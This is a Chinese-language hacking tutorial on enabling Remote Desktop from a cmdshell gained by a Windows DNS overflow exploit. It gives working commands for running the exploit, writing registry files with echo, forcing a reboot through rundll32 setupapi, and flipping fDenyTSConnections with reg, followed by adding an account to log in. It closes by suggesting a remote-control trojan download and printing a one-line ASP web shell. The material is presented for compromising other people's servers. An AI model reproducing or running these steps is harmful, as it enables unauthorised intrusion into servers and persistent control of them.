1. 程式人生 > >淺談CMD下開啟遠端桌面服務

淺談CMD下開啟遠端桌面服務

  一、緣起

    近段時間微軟出現的DNS溢位漏洞瘋狂了一段時間,就是現在也還有許多伺服器可以成功溢位。相信大家都有體驗過溢位的經驗了吧,嘿嘿。但是當我們溢位成功後,返回得到的就只有一個system許可權的cmdshell。要是伺服器開啟了遠端桌面服務,那我們直接加一個使用者,再新增進管理員組,就可以登入伺服器了。這樣的話,拿下存在DNS溢位的伺服器只是分秒間的事情。從溢位到得到伺服器控制權花不了多少時間。不過,要是伺服器本身沒有開啟遠端桌面服務,就相對來說比較麻煩一點了。話雖如此,伺服器本身沒開,那我們就幫它開嘛,嘿嘿。

     二、理論

    在只有一個cmdshell的情況下,可能有不少菜菜不知道如何開啟遠端桌面服務。不過如果對遠端桌面服務比較瞭解的話,應該知道開啟它其實主要就是修改了登錄檔的某些鍵值來實現的。如何在cmdshell下修改登錄檔相關鍵值呢?根據系統的不同,方法也有些出入。Windows2000的伺服器開戶遠端桌面服務一般都需要重啟一次才能生效,Windows2003的伺服器開啟遠端桌面服務就一般都不需要重啟,直接更改登錄檔相關鍵值即可生效!據網上的資料來看,基本上都是先echo一個*.reg登錄檔檔案,再使用regedit /s *.reg命令匯入登錄檔檔案即可,當然2000的話還需要重啟才生效。

     三、實踐

    理論總是理論,不實踐過永遠都只能是理論。所以我們找了些可以DNS溢位的伺服器來做試驗,其中有2000系統的也有2003系統的,分別詳細說明——如何在cmdshell下開啟伺服器的遠端桌面服務。

    1、2000系統

    簡要說一下如何進行DNS溢位攻擊。我用的溢位利用程式是dns.exe,在CMD下執行它可以看到它的使用引數等資訊。執行"dns -s IP"命令檢測目標IP是否存在DNS溢位漏洞,如圖1。在圖中我們可以看出目標主機存在DNS溢位漏洞,作業系統為Windows 2000!接著我們進行溢位攻擊,執行"dns -t 2000all IP 1207"後提示要我們檢測返回的1100埠的shell,如圖2。"telnet IP 1100"成功得到返回的cmdshell,如圖3。注意目錄為c:/WINNT/system32,頂部也明顯可以看到Windows 2000相關字樣。接著我們需要做的是使用"echo"命令寫入一個3389.reg登錄檔檔案。將如下程式碼一行一行地複製到cmdshell視窗後按回車執行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS/.DEFAULT/Keyboard Layout/Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg

     簡單說明一下,">"符號是覆蓋寫入檔案,如無此檔案則建立,有則覆蓋原來的內容寫入。">>"是追加寫入,即在原有檔案內容的基礎上在後面寫入內容。這裡是寫入內容到3389.reg檔案中!需要注意的是第二行,那個作用是寫入一行空格,至於為什麼需要這樣,那是因為.reg檔案的格式必須如此!成功寫入完畢後接著執行匯入操作,執行"regedit /s 3389.reg"。這樣登錄檔檔案就已經順利匯入到登錄檔裡去了。不過需要注意的是在cmdshell下不要輸錯任何一個字元,否則將無法執行,建議先自己打好在記事本上,確保無誤之後再複製到cmdshell視窗執行。然後需要做的事就是重啟了,如何使目標伺服器重啟呢?和朋友多方測試後,覺得用下面這個方法比較妥當。在cmdshell下執行如下程式碼:

@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%/{out}.inf
    按順序將以上五行程式碼一行一行地複製到cmdshell上,複製完一行按一次回車執行,五行都執行完畢後,伺服器就會重啟的了。至於原理什麼的我就不廢話了。當然了,讓伺服器重啟的方法比較多,比如結束掉系統關鍵程序、程式碼模擬按鍵等都是可以的,不過個人認為上面推薦的這個方法比較保險!如無意外,等待伺服器完成重啟之後再連線目標發現遠端桌面服務已經成功開啟了,如圖4。至此Windows 2000作業系統溢位後返回的cmdshell下開啟遠端桌面服務就成功完成了。

    2、2003系統

    相對於2000的系統來說,2003cmdshell下開啟遠端桌面服務就比較容易一些了,起碼無需重啟嘛!第一種方法也是用"echo"命令寫入一個 3389.reg檔案,再"regedit /s 3389.reg"匯入登錄檔檔案即可開啟,比較簡單,與上面介紹的2000的開啟方法類似。將如下程式碼一行一行地複製到cmdshell視窗後按回車執行:

echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg

    完成以上操作後再執行"regedit /s 3389.reg"匯入即可生效!不過這個方法相對來說比較麻煩,也比較複雜一些。我們還可以用另外一種比較簡單的方法來開啟遠端桌面服務的,嘿嘿。在介紹另一個操作方法之前,我們先來熟悉下2003系統下遠端桌面服務的一個最關鍵的登錄檔鍵值。
在"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

   下數值名稱為"fDenyTSConnections"的這一項,可以看到它的數值資料為1或0。數值為1的時候關閉遠端桌面服務,數值為0的時候開啟遠端桌面服務。換句話說,我們只要可以在cmdshell下更改這個關鍵的登錄檔鍵值資料就可以達到實現開啟遠端桌面服務的目的了!有幸的是,在2003下有一個"reg"命令完全可以做到這一點,嘿嘿。這裡我們找一臺作業系統為2003的伺服器,通過和上面介紹的同樣方法溢位後返回一個cmdshell,如圖5。當我們嘗試連線的時候會發現根本無法連線上去,如圖6。下面詳細說明一下用"reg"命令開啟遠端桌面服務。執行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

    我們發現"fDenyTSConnections"鍵值資料為"0x1",如圖7。這個是十六進位制數的1。上面提到,資料為1則沒有開啟遠端桌面服務。我們要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必須把原來鍵值刪掉再新增!在cmdshell下執行:

reg delete "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections

會詢問是否"要刪除登錄檔值 fDenyTSConnections 嗎",當然Yes了,如圖8。再執行:

reg add "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

提示操作成功完成,如圖9。這樣就把"fDenyTSConnections"的值改為"0x0"了,我們可以執行:

reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"

     我們可以檢視一下,看看是不是真的改掉了,發現已經成功更改了資料,如圖10。現在再來連線伺服器的3389看看,發現已經可以成功連線上了,加個使用者進去參觀咯,如圖11。至此2003下cmdshell開啟遠端桌面服務的方法也介紹完了。

     四、其他

     當然了,溢位後也不一定要非要在cmdshell下開啟遠端桌面服務。可以echo個vbs檔案,下載遠端控制木馬,然後在cmdshell裡執行一下木馬,上線就OK了。還有就是可以查詢一下目標IP是否繫結有網站,然後找到網站目錄,再用echo個一句話木馬進去(命令是:echo "<%execute request("cmd")%>" >WEB路徑/test.asp),然後提交大馬呀,上傳開3389的工具再開啟也行!總之方法不只一個,能達到目的就是好方法